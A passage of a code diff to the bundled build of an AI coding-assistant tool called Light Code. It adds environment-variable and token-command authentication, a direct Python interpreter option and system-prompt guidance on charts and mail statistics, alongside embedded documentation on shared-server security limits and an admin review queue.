profile\'s API key lives in `<data>/shared-secrets.json` rather than in any one user\'s\r\ndirectory, so it survives a user clearing their own secrets. As everywhere here that is storage,\r\nnot secrecy: every session runs as the same account and can read the file.\r\n\r\nThe rule: anything invariant 5 already treats as user-scope-only becomes admin-only, because a\r\nsecond user on a shared box is the same threat as a hostile repository arriving by another door.\r\nAnything unlisted that looks like a settings change (`save\u2026`, `set\u2026`, `delete\u2026`) defaults to\r\n**restricted** \u2014 forgetting to list something should mean "an administrator has to do it", never\r\n"anyone may repoint the gateway".\r\n\r\nA refused message is answered, not dropped: the UI hides these controls, so one arriving is either\r\na stale page or someone poking the API, and both deserve a reason.\r\n\r\n---\r\n\r\n## 1b-i. Being launched by another application\r\n\r\nLight Code is often started *by* something else \u2014 a Streamlit app, a wrapper script, a container\r\nentrypoint \u2014 which already holds the credentials and already has a Python environment set up. Two\r\nthings make that work without duplicating either.\r\n\r\n### The API key can come from the environment\r\n\r\nPut `env:API_TOKEN` in the API key field (or in `auth.apiKeyRef` in the config file) and the key is\r\nread from that environment variable instead of being stored:\r\n\r\n```jsonc\r\n{\r\n "profiles": [\r\n {\r\n "id": "gateway",\r\n "label": "Internal gateway",\r\n "wireFormat": "openai",\r\n "baseUrl": "https://gateway.internal.example/v1",\r\n "model": "gpt-4o",\r\n "auth": { "type": "apiKey", "apiKeyRef": "env:API_TOKEN" }\r\n }\r\n ],\r\n "activeProfileId": "gateway"\r\n}\r\n```\r\n\r\nNothing is written to the keychain, and the variable is read fresh on every request. From Python:\r\n\r\n```python\r\nimport os, subprocess\r\nos.environ["API_TOKEN"] = my_internal_lib.get_apigee_token()\r\nsubprocess.Popen(["npx", "@chosengeneration/light-code"], env=os.environ)\r\n```\r\n\r\n**It must be exported before Light Code starts.** A process cannot see a variable its parent set\r\nafterwards, so a token exported later \u2014 or set only in the parent\'s own shell \u2014 is invisible. If\r\nthe panel shows the key as missing, that is what it is telling you: the variable is not set *in\r\nthis process*. The message names the variable.\r\n\r\n### A token that expires needs a command, not a variable\r\n\r\nThe catch with the above is that **a parent cannot change a running child\'s environment**. An\r\nApigee token is typically good for an hour; a session that outlives it starts failing every request\r\nwith no way back except a restart.\r\n\r\nSo a profile can fetch its own token by running a command \u2014 whatever the parent already uses:\r\n\r\n```jsonc\r\n{\r\n "auth": {\r\n "type": "tokenCommand",\r\n "tokenCommand": {\r\n "command": ["python", "-c", "import my_internal_lib; print(my_internal_lib.get_apigee_token())"],\r\n "fallbackExpirySeconds": 3600,\r\n "refreshSkewSeconds": 60\r\n }\r\n }\r\n}\r\n```\r\n\r\nThe credential logic stays in the one library that owns it, and Light Code never learns how the\r\ngateway\'s auth works. It refreshes proactively before expiry, shares one fetch across concurrent\r\nrequests, and checks the remaining lifetime before opening a stream so a token cannot expire\r\nmid-response.\r\n\r\nIf the command prints JSON instead of a bare token, name the fields:\r\n\r\n```jsonc\r\n{ "tokenPath": "access_token", "expiresInPath": "expires_in" }\r\n```\r\n\r\nNotes worth having in advance:\r\n\r\n- **`command` is argv, never a shell string.** It is spawned directly, so nothing is parsed by a\r\n shell \u2014 no pipes, no redirection, and a path with a space is one argument. Write a script if you\r\n need shell logic; that is a better place for it anyway.\r\n- **Print only the token.** Output containing whitespace is refused rather than sent as a bearer\r\n token, because a warning line prepended to the token produces a 401 that looks like a bad\r\n credential.\r\n- **It runs a program you name**, so it is exactly as powerful as the account Light Code runs\r\n under. It is configured in the config file rather than in the panel, and on a shared server it\r\n has no business in a personal profile.\r\n\r\n### Python without uv or a virtualenv\r\n\r\nIf the environment that launched Light Code already has the libraries your tools need \u2014 a Streamlit\r\napp\'s own interpreter, a conda environment, a container image \u2014 point it at that interpreter and it\r\nwill use it as it is:\r\n\r\n```jsonc\r\n{ "python": { "dynamicTools": "on", "interpreterPath": "/usr/bin/python3" } }\r\n```\r\n\r\nLeave `interpreterPath` unset and it falls back to `python3`, then `python`, from `PATH` \u2014 but only\r\nwhen `uv` is absent. uv is still preferred when it is available, because then Light Code owns the\r\nenvironment and can manage it.\r\n\r\n**In this mode Light Code does not install or remove packages.** That environment belongs to\r\nwhatever started it, and `pip install` into it could break the application serving your users. A\r\ntool whose imports are already satisfied works; one declaring a dependency that is not there is\r\nrefused at creation, naming the package, so you install it the way you install everything else\r\nthere. The Python tab says which mode is in use and why.\r\n\r\n## 1c. Session variables\r\n\r\nValues handed to everything a session runs \u2014 shell commands and Python tools \u2014 as environment\r\nvariables. Set them in the **Variables** tab.\r\n\r\n> **They are not secret.** Everything a session spawns runs as the server\'s own account, so\r\n> another user can have their assistant read them. This answers *whose value applies*, not *who\r\n> can see it*. API keys belong in **Providers**, which stores them separately and never sends\r\n> them back to a page.\r\n\r\n### Two scopes, and the administrator wins\r\n\r\n- **Yours** \u2014 only your sessions see them. Stored in `<data>/users/<hash>/variables.json`.\r\n- **Everyone\'s** \u2014 set by an administrator, applied to every user. Stored in `<data>/shared.json`.\r\n\r\nWhere both set the same name, **the administrator\'s value is used**. A variable set centrally is\r\nset precisely because it has to be the same everywhere \u2014 an internal package index, a proxy, a\r\ncompliance flag \u2014 and a per-user value quietly winning would defeat the only reason to set one.\r\n\r\nThe one that lost is not hidden. Your row says so:\r\n\r\n> **overridden** \u2014 An administrator set `REGISTRY` for everyone, so sessions use\r\n> `https://pypi.internal/simple` and not yours.\r\n\r\nWithout that you would edit a value that could never apply and see no sign of it.\r\n\r\n### Names\r\n\r\nLetters, digits and underscore, not starting with a digit. Anything else is refused as you type\r\nit, because a name a shell cannot set fails by starting a process with a *silently different*\r\nenvironment rather than by erroring.\r\n\r\n### Where they reach\r\n\r\n`execute_command` and Python tools. The Python worker\'s environment stays an allowlist \u2014 the\r\nreason it exists is that a provider API key must never reach model-authored code \u2014 and these are\r\nadded to it, because they are what a human deliberately declared.\r\n\r\nAn edit applies to the **next command**, not the next session; a Python tool picks one up when its\r\nworker next starts.\r\n\r\n---\r\n\r\n## 1d. The review queue\r\n\r\nA Python tool or a skill written by someone who is **not** an administrator is not saved. It goes\r\ninto a queue, the author\'s turn is told so and carries on, and an administrator reads the source\r\nand approves or rejects it in Settings \u2192 **Review**.\r\n\r\nAsynchronous on purpose. The in-chat approval gate assumes the approver is present, which is true\r\nin a chat and false here: the person who may approve is not the person asking. Blocking the turn\r\nwould hang for hours when nobody is at a screen, and forever for a scheduled run.\r\n\r\n### What "queued" means\r\n\r\nNothing is written anywhere the workspace can see it. The bytes live in `<data>/reviews.json`\r\nuntil someone approves them, and only then are they written to `.lightcode/tools/` or\r\n`.lightcode/skills/`. That is \xA713\'s rule used as it stands \u2014 the *registry* is the security\r\nboundary, and a file with no registry entry never loads \u2014 rather than a second mechanism beside it.\r\n\r\nTwo consequences worth knowing:\r\n\r\n- **A rejected submission leaves nothing behind.** There is no half-written file to clean up.\r\n- **An approval writes the bytes that were read**, not whatever is on disk by then.\r\n\r\n### Reviewing\r\n\r\nThe queue shows the full source as a diff against what is there now, with the author, the time,\r\nand \u2014 when a [programming provider](#1b-shared-mode---server--a-usage-guide) wrote it \u2014 which\r\nmodel produced it. Approve is disabled until the source has been opened. That is not a security\r\ncontrol, since anyone can open it and not read it; it is there because approving code you have not\r\nlooked at is the single mistake this queue exists to make harder, and a button needing no step in\r\nbetween is one people press by reflex.\r\n\r\nA rejection takes a reason, and the author sees it. Authors can see their own submissions, which is\r\nhow the reason reaches them \u2014 a queue only administrators could read would leave someone waiting\r\nwithout knowing what for.\r\n\r\nResubmitting the same name **replaces** the pending item rather than adding another. A model told\r\nits work is queued sometimes tries again, and four near-identical copies of one tool means an\r\nadministrator has to diff them to find the current one.\r\n\r\nAn administrator\'s own tools and skills are unaffected: they get the ordinary in-chat prompt, which\r\nis the same mechanism with the approver already at the screen.\r\n\r\n---\r\n\r\n## 2. Multi-user hosting with SSO \u2014 read this first\r\n\r\nIdentity is built. `ProxyHeaderIdentity` reads the user from your proxy\'s header, every store is\r\nkeyed by `Principal.id`, and section 1b is the setup guide. So the question of *who is asking* is\r\nanswered.\r\n\r\n**That was never the hard part.** The hard part is this:\r\n\r\n> Light Code executes shell commands, reads and writes files, and spawns MCP servers. On a\r\n> hosted deployment, all of that runs as **the account the server process runs as** \u2014 not as\r\n> the person who asked for it.\r\n\r\nSSO tells you *who is asking*. It does not change *what their request can do*. So on a\r\nshared server, with the design as it stands:\r\n\r\n- Every user\'s commands run with the same OS privileges as every other user\'s.\r\n- Any user can instruct the agent to read any file the service account can read \u2014\r\n including another user\'s `secrets.json` under `<data>/users/`, since file permissions\r\n separate accounts, and here there is only one account.\r\n- Any user can configure an MCP server, which is an arbitrary executable, and it runs as the\r\n service account.\r\n- The approval gate protects a user from the *model*. It does not protect users from each\r\n other, because the person approving is the person asking.\r\n\r\nThis is consistent with what Light Code has always claimed \u2014 \xA73 of `CLAUDE.md` says plainly\r\nthat it does not sandbox executed code and does not protect against another process running\r\nas the same user. On one desktop that is a reasonable line. On a shared server it means\r\n**every user is effectively an administrator of every other user\'s data.**\r\n\r\n### What would actually make it safe\r\n\r\nIn rough order of how much they buy you:\r\n\r\n1. **One OS account per user, or one container per session.** This is the real fix and\r\n nothing else substitutes for it. The server becomes a supervisor that launches a\r\n per-user worker under that user\'s identity; the worker holds the bridge. On Windows this\r\n is a service that impersonates the authenticated principal, or a container per session.\r\n2. **Workspace confinement per principal**, so a user\'s tools are rooted in their own tree\r\n rather than a shared one.\r\n3. **Deny MCP configuration to ordinary users**, or restrict it to an operator-managed\r\n allowlist. It is arbitrary code execution by design.\r\n4. **Disable the Claude CLI expert and `execute_command` by policy** unless 1 is done.\r\n\r\nNone of those are built. Until at least (1) is, a hosted deployment is safe only where\r\n**every user is already trusted with everything every other user can reach** \u2014 for\r\ninstance, one small team sharing a service account they all already have.\r\n\r\n### If you deploy it anyway\r\n\r\nBecause "one team who all trust each other" is a real situation. Section 1b is the how; this is\r\nthe shortlist of things not to skip:\r\n\r\n- Put it behind a proxy that terminates authentication, sets the user header, and **strips any\r\n inbound copy of it**.\r\n- Send the immutable directory identifier as the id, never the username or email \u2014 both get\r\n reassigned to a different person when someone leaves.\r\n- Bind the server to loopback and let the proxy be the only thing that reaches it.\r\n- **Restrict `/admin` at the proxy.** Light Code does not guard it.\r\n- Terminate TLS at the proxy. The `Host` allowlist needs the proxy\'s public authority added.\r\n- Run the service account with the least privilege that still works, and keep its home\r\n directory off any share.\r\n- Tell your users plainly that their sessions are not isolated from one another.\r\n';
24554
24554
 
24555
24555
  // src/guideHtml.ts
24556
24556
  function escapeHtml(text) {
@@ -39696,9 +39696,28 @@ var apigeeMtlsSettingsSchema = external_exports.object({
39696
39696
  refreshSkewSeconds: external_exports.number().int().nonnegative().optional(),
39697
39697
  extraHeaders: external_exports.record(external_exports.string(), external_exports.string()).optional()
39698
39698
  });
39699
+ var tokenCommandSchema = external_exports.object({
39700
+ command: external_exports.array(external_exports.string().min(1)).min(1, "Give the program and its arguments").describe("argv. Spawned directly \u2014 nothing is parsed by a shell."),
39701
+ cwd: external_exports.string().optional(),
39702
+ tokenPath: external_exports.string().optional(),
39703
+ expiresInPath: external_exports.string().optional(),
39704
+ fallbackExpirySeconds: external_exports.number().int().positive().optional(),
39705
+ refreshSkewSeconds: external_exports.number().int().nonnegative().optional(),
39706
+ timeoutSeconds: external_exports.number().int().positive().optional(),
39707
+ headerName: external_exports.string().optional(),
39708
+ headerPrefix: external_exports.string().optional(),
39709
+ env: external_exports.record(external_exports.string(), external_exports.string()).optional()
39710
+ });
39699
39711
  var authSchema = external_exports.discriminatedUnion("type", [
39700
39712
  external_exports.object({ type: external_exports.literal("none") }),
39713
+ /**
39714
+ * `apiKeyRef` may name the environment as well as the secret store.
39715
+ *
39716
+ * `env:API_TOKEN` reads it from the process environment — see `auth/secretRef.ts`. Anything
39717
+ * else is a key into `SecretStore`, which is what the UI writes.
39718
+ */
39701
39719
  external_exports.object({ type: external_exports.literal("apiKey"), apiKeyRef: external_exports.string().min(1) }),
39720
+ external_exports.object({ type: external_exports.literal("tokenCommand"), tokenCommand: tokenCommandSchema }),
39702
39721
  external_exports.object({
39703
39722
  type: external_exports.literal("apigeeMtls"),
39704
39723
  certs: certConfigSchema,
@@ -39761,6 +39780,17 @@ var pythonConfigSchema = external_exports.object({
39761
39780
  * user storage is the fallback.
39762
39781
  */
39763
39782
  venvPath: external_exports.string(),
39783
+ /**
39784
+ * A Python interpreter to use directly, with no virtualenv and no uv.
39785
+ *
39786
+ * For an environment somebody else already built — a Streamlit app, a container, a conda env
39787
+ * — where the interpreter has the internal libraries the tools need and installing a package
39788
+ * manager to reach it makes no sense. Left unset, uv is preferred and this is the fallback:
39789
+ * `python3`, then `python`, from PATH.
39790
+ *
39791
+ * User-scope only for the same reason as `uvPath`: it names a program that gets run.
39792
+ */
39793
+ interpreterPath: external_exports.string(),
39764
39794
  /**
39765
39795
  * Package index for tool dependencies. §3 treats `uv` resolving PyPI as *our* egress
39766
39796
  * rather than the user's, so pointing it at an internal mirror is the expected
@@ -41278,6 +41308,30 @@ function resolveActiveProfile(config2) {
41278
41308
  return found;
41279
41309
  }
41280
41310
 
41311
+ // ../../packages/core/dist/providers/auth/secretRef.js
41312
+ var ENV_REF_PREFIX = "env:";
41313
+ function describeSecretRef(ref) {
41314
+ if (!ref.startsWith(ENV_REF_PREFIX))
41315
+ return { kind: "store" };
41316
+ const envVar = ref.slice(ENV_REF_PREFIX.length).trim();
41317
+ return envVar.length === 0 ? { kind: "store" } : { kind: "env", envVar };
41318
+ }
41319
+ async function resolveSecretRef(ref, options) {
41320
+ const described = describeSecretRef(ref);
41321
+ if (described.kind === "env") {
41322
+ const value = (options.env ?? process.env)[described.envVar];
41323
+ return value === void 0 || value.trim().length === 0 ? void 0 : value;
41324
+ }
41325
+ return options.secrets.get(ref);
41326
+ }
41327
+ function describeMissingSecret(ref, what = "API key") {
41328
+ const described = describeSecretRef(ref);
41329
+ if (described.kind === "env") {
41330
+ return `The ${what} is configured to come from the environment variable ${String(described.envVar)}, which is not set in this process. Set it before starting Light Code \u2014 a variable exported after the process began is not visible to it. If a launcher sets it, check that it is exported rather than assigned only in its own shell.`;
41331
+ }
41332
+ return `${what.charAt(0).toUpperCase()}${what.slice(1)} missing for this provider profile. Open Settings (the icon in the Light Code header), edit the active profile, and enter it again.`;
41333
+ }
41334
+
41281
41335
  // ../../packages/core/dist/providers/auth/apiKey.js
41282
41336
  function defaultApiKeyHeader(wireFormat) {
41283
41337
  switch (wireFormat) {
@@ -41299,9 +41353,9 @@ var ApiKeyAuthStrategy = class {
41299
41353
  this.header = header;
41300
41354
  }
41301
41355
  async resolveHeaders() {
41302
- const key = await this.secrets.get(this.apiKeyRef);
41356
+ const key = await resolveSecretRef(this.apiKeyRef, { secrets: this.secrets });
41303
41357
  if (key === void 0) {
41304
- throw new Error("API key missing for this provider profile. Open Settings (the icon in the Light Code header), edit the active profile, and enter the API key again.");
41358
+ throw new Error(describeMissingSecret(this.apiKeyRef));
41305
41359
  }
41306
41360
  return { [this.header.name]: `${this.header.prefix}${key}` };
41307
41361
  }
@@ -41312,6 +41366,141 @@ var NoAuthStrategy = class {
41312
41366
  }
41313
41367
  };
41314
41368
 
41369
+ // ../../packages/core/dist/providers/auth/tokenCommand.js
41370
+ import { spawn } from "node:child_process";
41371
+ function readPath(source, dotted) {
41372
+ let current = source;
41373
+ for (const part of dotted.split(".")) {
41374
+ if (current === null || typeof current !== "object")
41375
+ return void 0;
41376
+ current = current[part];
41377
+ }
41378
+ return current;
41379
+ }
41380
+ var TokenCommandAuthStrategy = class {
41381
+ settings;
41382
+ held;
41383
+ inFlight;
41384
+ constructor(settings) {
41385
+ this.settings = settings;
41386
+ if (settings.command.length === 0) {
41387
+ throw new Error("The token command is empty. Give the program and its arguments.");
41388
+ }
41389
+ }
41390
+ async resolveHeaders() {
41391
+ const token = await this.token();
41392
+ const name = this.settings.headerName ?? "Authorization";
41393
+ const prefix = this.settings.headerPrefix ?? "Bearer ";
41394
+ return { [name]: `${prefix}${token.value}` };
41395
+ }
41396
+ /**
41397
+ * Checked before a stream opens, with margin for a long generation.
41398
+ *
41399
+ * The same reasoning as the Apigee strategy: a token that expires halfway through a response
41400
+ * cannot be recovered from without discarding what has already been written.
41401
+ */
41402
+ async ensureTokenForStream(marginSeconds = 120) {
41403
+ const deadline = Date.now() + marginSeconds * 1e3;
41404
+ if (this.held === void 0 || this.held.expiresAt <= deadline) {
41405
+ this.held = void 0;
41406
+ await this.token();
41407
+ }
41408
+ }
41409
+ /** Drops the held token, so the next request fetches a new one. For a 401 retry. */
41410
+ invalidate() {
41411
+ this.held = void 0;
41412
+ }
41413
+ async token() {
41414
+ const skew = (this.settings.refreshSkewSeconds ?? 60) * 1e3;
41415
+ if (this.held !== void 0 && this.held.expiresAt - skew > Date.now())
41416
+ return this.held;
41417
+ this.inFlight ??= this.fetch().then((token) => {
41418
+ this.held = token;
41419
+ return token;
41420
+ }).finally(() => {
41421
+ this.inFlight = void 0;
41422
+ });
41423
+ return this.inFlight;
41424
+ }
41425
+ async fetch() {
41426
+ const [program, ...args] = this.settings.command;
41427
+ const timeout = (this.settings.timeoutSeconds ?? 30) * 1e3;
41428
+ const output = await new Promise((resolve, reject2) => {
41429
+ const child = spawn(program, args, {
41430
+ // Never `shell: true`. See the note at the top of this file.
41431
+ shell: false,
41432
+ ...this.settings.cwd === void 0 ? {} : { cwd: this.settings.cwd },
41433
+ env: { ...process.env, ...this.settings.env ?? {} }
41434
+ });
41435
+ let stdout = "";
41436
+ let stderr = "";
41437
+ let settled = false;
41438
+ const timer = setTimeout(() => {
41439
+ if (settled)
41440
+ return;
41441
+ settled = true;
41442
+ child.kill();
41443
+ reject2(new Error(`The token command did not finish within ${String(timeout / 1e3)}s: ${program}. Raise its timeout, or check whether it is waiting for input \u2014 a command that prompts will never return here, because nothing is attached to answer.`));
41444
+ }, timeout);
41445
+ child.stdout.on("data", (chunk) => stdout += chunk.toString());
41446
+ child.stderr.on("data", (chunk) => stderr += chunk.toString());
41447
+ child.on("error", (error51) => {
41448
+ if (settled)
41449
+ return;
41450
+ settled = true;
41451
+ clearTimeout(timer);
41452
+ reject2(new Error(error51.code === "ENOENT" ? `The token command's program was not found: ${program}. Give an absolute path, or make sure it is on the PATH of the process that started Light Code.` : `The token command could not be started: ${error51.message}`));
41453
+ });
41454
+ child.on("close", (code) => {
41455
+ if (settled)
41456
+ return;
41457
+ settled = true;
41458
+ clearTimeout(timer);
41459
+ if (code === 0) {
41460
+ resolve(stdout);
41461
+ return;
41462
+ }
41463
+ const detail = stderr.trim().length > 0 ? stderr.trim() : stdout.trim();
41464
+ reject2(new Error(`The token command exited with code ${String(code ?? -1)}.` + (detail.length > 0 ? `
41465
+ ${detail.slice(0, 2e3)}` : " It printed nothing.")));
41466
+ });
41467
+ });
41468
+ return this.parse(output);
41469
+ }
41470
+ parse(stdout) {
41471
+ const fallback = (this.settings.fallbackExpirySeconds ?? 3600) * 1e3;
41472
+ if (this.settings.tokenPath === void 0) {
41473
+ const value2 = stdout.trim();
41474
+ if (value2.length === 0) {
41475
+ throw new Error("The token command succeeded but printed nothing. It must write the token to stdout, or name `tokenPath` if it prints JSON.");
41476
+ }
41477
+ if (/\s/.test(value2)) {
41478
+ throw new Error("The token command printed more than one line, so it is not clear which part is the token. Print only the token, or have it print JSON and set `tokenPath`.");
41479
+ }
41480
+ return { value: value2, expiresAt: Date.now() + fallback };
41481
+ }
41482
+ let parsed;
41483
+ try {
41484
+ parsed = JSON.parse(stdout);
41485
+ } catch {
41486
+ throw new Error(`\`tokenPath\` is set, so the token command's output is read as JSON \u2014 and it did not parse. It printed: ${stdout.trim().slice(0, 200)}`);
41487
+ }
41488
+ const value = readPath(parsed, this.settings.tokenPath);
41489
+ if (typeof value !== "string" || value.trim().length === 0) {
41490
+ throw new Error(`The token command's JSON has nothing usable at "${this.settings.tokenPath}". It printed: ${stdout.trim().slice(0, 200)}`);
41491
+ }
41492
+ let lifetime = fallback;
41493
+ if (this.settings.expiresInPath !== void 0) {
41494
+ const reported = readPath(parsed, this.settings.expiresInPath);
41495
+ const seconds = typeof reported === "string" ? Number(reported) : reported;
41496
+ if (typeof seconds === "number" && Number.isFinite(seconds) && seconds > 0) {
41497
+ lifetime = seconds * 1e3;
41498
+ }
41499
+ }
41500
+ return { value: value.trim(), expiresAt: Date.now() + lifetime };
41501
+ }
41502
+ };
41503
+
41315
41504
  // ../../packages/core/dist/providers/auth/apigeeMtls.js
41316
41505
  var DEFAULTS = {
41317
41506
  grantType: "client_credentials",
@@ -41330,7 +41519,7 @@ function defaultTokenUrl(baseUrl) {
41330
41519
  return "";
41331
41520
  }
41332
41521
  }
41333
- function readPath(source, dottedPath) {
41522
+ function readPath2(source, dottedPath) {
41334
41523
  return dottedPath.split(".").reduce((current, segment) => {
41335
41524
  if (typeof current !== "object" || current === null)
41336
41525
  return void 0;
@@ -41449,11 +41638,11 @@ var ApigeeMtlsAuthStrategy = class {
41449
41638
  throw new ApigeeAuthError(`The token endpoint at ${tokenUrl} did not return JSON.`);
41450
41639
  }
41451
41640
  const tokenPath = this.settings.tokenPath ?? DEFAULTS.tokenPath;
41452
- const value = readPath(payload, tokenPath);
41641
+ const value = readPath2(payload, tokenPath);
41453
41642
  if (typeof value !== "string" || value.length === 0) {
41454
41643
  throw new ApigeeAuthError(`The token endpoint response has no token at "${tokenPath}". Set tokenPath if your gateway nests it elsewhere.`);
41455
41644
  }
41456
- const rawExpiry = readPath(payload, this.settings.expiresInPath ?? DEFAULTS.expiresInPath);
41645
+ const rawExpiry = readPath2(payload, this.settings.expiresInPath ?? DEFAULTS.expiresInPath);
41457
41646
  const expiresInSeconds = typeof rawExpiry === "number" && rawExpiry > 0 ? rawExpiry : typeof rawExpiry === "string" && Number.parseInt(rawExpiry, 10) > 0 ? Number.parseInt(rawExpiry, 10) : this.settings.fallbackExpirySeconds ?? DEFAULTS.fallbackExpirySeconds;
41458
41647
  const skew = this.settings.refreshSkewSeconds ?? DEFAULTS.refreshSkewSeconds;
41459
41648
  const issuedAt = this.now();
@@ -41714,6 +41903,14 @@ function createBaseAuthStrategy(auth2, context) {
41714
41903
  prefix: context.apiKeyHeaderPrefix ?? derived.prefix
41715
41904
  });
41716
41905
  }
41906
+ case "tokenCommand": {
41907
+ const derived = defaultApiKeyHeader(context.wireFormat ?? "openai");
41908
+ return new TokenCommandAuthStrategy({
41909
+ ...auth2.tokenCommand,
41910
+ headerName: auth2.tokenCommand.headerName ?? context.apiKeyHeaderName ?? derived.name,
41911
+ headerPrefix: auth2.tokenCommand.headerPrefix ?? context.apiKeyHeaderPrefix ?? derived.prefix
41912
+ });
41913
+ }
41717
41914
  case "none":
41718
41915
  return new NoAuthStrategy();
41719
41916
  case "apigeeMtls": {
@@ -41905,7 +42102,11 @@ async function testConnection(profile, context, http, signal) {
41905
42102
  } else {
41906
42103
  try {
41907
42104
  await auth2.resolveHeaders();
41908
- steps.push({ step: "token", status: "ok", detail: "Credential resolved from secure storage." });
42105
+ steps.push({
42106
+ step: "token",
42107
+ status: "ok",
42108
+ detail: profile.auth.type === "tokenCommand" ? "The token command ran and returned a token." : profile.auth.type === "apiKey" && profile.auth.apiKeyRef.startsWith("env:") ? `Key read from ${profile.auth.apiKeyRef.slice("env:".length)}.` : "Credential resolved from secure storage."
42109
+ });
41909
42110
  } catch (error51) {
41910
42111
  steps.push({ step: "token", status: "failed", detail: messageOf(error51) });
41911
42112
  steps.push({ step: "models", status: "skipped", detail: "Not attempted \u2014 no credential." });
@@ -43137,8 +43338,9 @@ function buildSystemPrompt(workspaceRoot, options = {}) {
43137
43338
  if (options.canWriteSkills === true) {
43138
43339
  lines.push("", "Recording what you learn:", "- When the user explains something durable about their environment \u2014 an internal", " library and how to use it, a house convention, the shape of an in-house API, a", " gotcha specific to this codebase \u2014 offer to record it with write_skill. Ask first;", " do not write one unprompted.", '- "Durable" means it would be true again next week and useful to a future', " conversation. A one-off instruction for the current task is not a skill.", options.skillsSearchable === true ? "- Before writing a new skill, search for one with search_docs: if a note already covers the subject, read it and update that instead of creating a near-duplicate." : "- Before writing a new skill, check the list above: if one already covers the subject, read it and update that instead of creating a near-duplicate.", "- When you learn something *corrects* an existing skill, say so and offer to update", " it. A stale skill is worse than a missing one, because it is trusted.", "- Write for a reader who has none of this conversation: name the package, the import", ' path, the function, and show a short example. Avoid "as discussed" and "the usual".', options.skillsSearchable === true ? "- The description line is what search matches on, so make it say what subject the skill covers in the words someone would search for \u2014 it is a trigger, not a summary." : "- The description line is the only part always in context, so make it say what subject the skill covers \u2014 it is a trigger for reading, not a summary.");
43139
43340
  }
43341
+ lines.push("", "Charts:", "- **Draw one whenever numbers are easier seen than read** \u2014 a count per folder or per day, a", " value trending over time, a breakdown of a total. Use show_chart; do not print a table of", " figures where a chart would answer the question faster.", "- **Always fill in `detail`** when the numbers count things that can be named \u2014 the subjects,", ' the files, the ids. A bar reading 14 is only useful if "which fourteen?" has an answer, and', " the detail is what lets the user open the bar instead of asking you to search again.", "- Say in `note` where the numbers came from and what they exclude. A chart is believed", " without being checked, so its limits have to travel with it.", "- Series must have exactly one value per category. A mismatch is refused rather than padded,", " because a chart drawn from misaligned data looks correct and is not.", "- After drawing, describe what it shows. Do not recite the numbers again \u2014 they are on screen.", "- **A Python tool can produce the data.** Have it return JSON shaped", ' `{"categories": [...], "series": [{"name": ..., "values": [...], "detail": [[...], ...]}]}`', " and pass that straight to show_chart. That is the intended way to chart anything you have", " analysed in Python \u2014 the tool does the arithmetic, show_chart draws it, and the numbers are", " never retyped by you in between.");
43140
43342
  if (options.mailIndexed === true) {
43141
- lines.push("", "Email:", "- **Always answer questions about email from the index, using search_mail and", " mail_patterns.** That is what it is for. It is fast, it answers questions about time", " and recurrence that a live search cannot, and it does not disturb the running Outlook.", '- **Only search Outlook itself when the user asks you to.** "Check Outlook", "look at my', ' actual mailbox", "is it there now" and anything similar are the instruction to use', " outlook_search. Do not reach for it on your own initiative.", "- If the index has nothing, say so plainly and say when it was last synced. Do not", " quietly fall back to scanning Outlook - a slow live scan that nobody asked for reads", " as the assistant having hung.", "- One exception worth naming: if the user is asking about something that arrived in the", " last few minutes, the index may not have it yet. Say that, and offer to check Outlook", " rather than doing it unasked.", "- **The index holds plain text.** Colours, highlighting and images are not in it. When", " those could carry meaning \u2014 a red line marking a failure, a highlighted cell \u2014 use", " outlook_read_email on the id, which reads the live message and reports the colours.", " Never conclude a message looks fine from indexed text alone.", "- mail_coverage says which folders are indexed and how far back. Check it before saying", " something is not in the mail: an empty search over an unindexed folder looks exactly", " like an empty search over an indexed one.");
43343
+ lines.push("", "Email:", "- **Always answer questions about email from the index, using search_mail and", " mail_patterns.** That is what it is for. It is fast, it answers questions about time", " and recurrence that a live search cannot, and it does not disturb the running Outlook.", '- **Only search Outlook itself when the user asks you to.** "Check Outlook", "look at my', ' actual mailbox", "is it there now" and anything similar are the instruction to use', " outlook_search. Do not reach for it on your own initiative.", "- If the index has nothing, say so plainly and say when it was last synced. Do not", " quietly fall back to scanning Outlook - a slow live scan that nobody asked for reads", " as the assistant having hung.", "- One exception worth naming: if the user is asking about something that arrived in the", " last few minutes, the index may not have it yet. Say that, and offer to check Outlook", " rather than doing it unasked.", "- **The index holds plain text.** Colours, highlighting and images are not in it. When", " those could carry meaning \u2014 a red line marking a failure, a highlighted cell \u2014 use", " outlook_read_email on the id, which reads the live message and reports the colours.", " Never conclude a message looks fine from indexed text alone.", "- mail_coverage says which folders are indexed and how far back. Check it before saying", " something is not in the mail: an empty search over an unindexed folder looks exactly", " like an empty search over an indexed one.", "- **Use mail_stats for any question with a number in the answer** \u2014 how many alerts per", " folder, per day, per hour, which senders, whether a figure inside the alerts is climbing.", " It counts everything the filters matched. Never count search results by eye: search", " returns a page, so counting what you were shown reports a sample as if it were the total.", "- mail_stats already returns categories, values and detail in the shape show_chart wants.", " Pass it through rather than retyping the numbers, and keep the detail.");
43142
43344
  }
43143
43345
  if (options.expertAvailable === true) {
43144
43346
  lines.push("", "Expert consultation:", "- A stronger model, Claude, is available through the ask_expert tool. You CAN talk to", " it. Never tell the user you have no way to reach another model \u2014 you do.", '- **If the user asks you to consult it, do so.** "Ask Claude", "check with the', ' expert", "what does Claude think" and anything similar are direct instructions.', " It is their money and their decision; do not talk them out of it or decide the", " question is too simple to be worth asking.", "- Otherwise, judge it yourself. It costs real money per call, so on your own", " initiative use it for: planning a change spanning several files, diagnosing a bug", " you have already failed to fix once, choosing between designs with long-lived", " consequences, or reviewing something subtle before committing to it.", "- On your own initiative, do not use it for anything you could answer by reading a", " file, for routine edits, or for restating something already established here.", "- If you decide against consulting it, say that you chose not to and why. Do not say", " you are unable to.", "- The expert can read and search this workspace but cannot edit or run anything. It", " cannot see this conversation, so put the context it needs in your question.", "- You remain responsible for the work. Treat its answer as advice from a colleague:", " verify it against the actual code, and say so if you disagree.");
@@ -43185,7 +43387,7 @@ function fallbackLocations(name) {
43185
43387
  if (path9.isAbsolute(name))
43186
43388
  return [];
43187
43389
  const candidates = [];
43188
- const push = (dir) => {
43390
+ const push2 = (dir) => {
43189
43391
  if (dir === void 0 || dir.length === 0)
43190
43392
  return;
43191
43393
  if (process.platform === "win32")
@@ -43193,12 +43395,12 @@ function fallbackLocations(name) {
43193
43395
  candidates.push(path9.join(dir, name));
43194
43396
  };
43195
43397
  if (process.platform === "win32") {
43196
- push(process.env.APPDATA !== void 0 ? path9.join(process.env.APPDATA, "npm") : void 0);
43398
+ push2(process.env.APPDATA !== void 0 ? path9.join(process.env.APPDATA, "npm") : void 0);
43197
43399
  } else {
43198
- push("/usr/local/bin");
43199
- push("/opt/homebrew/bin");
43200
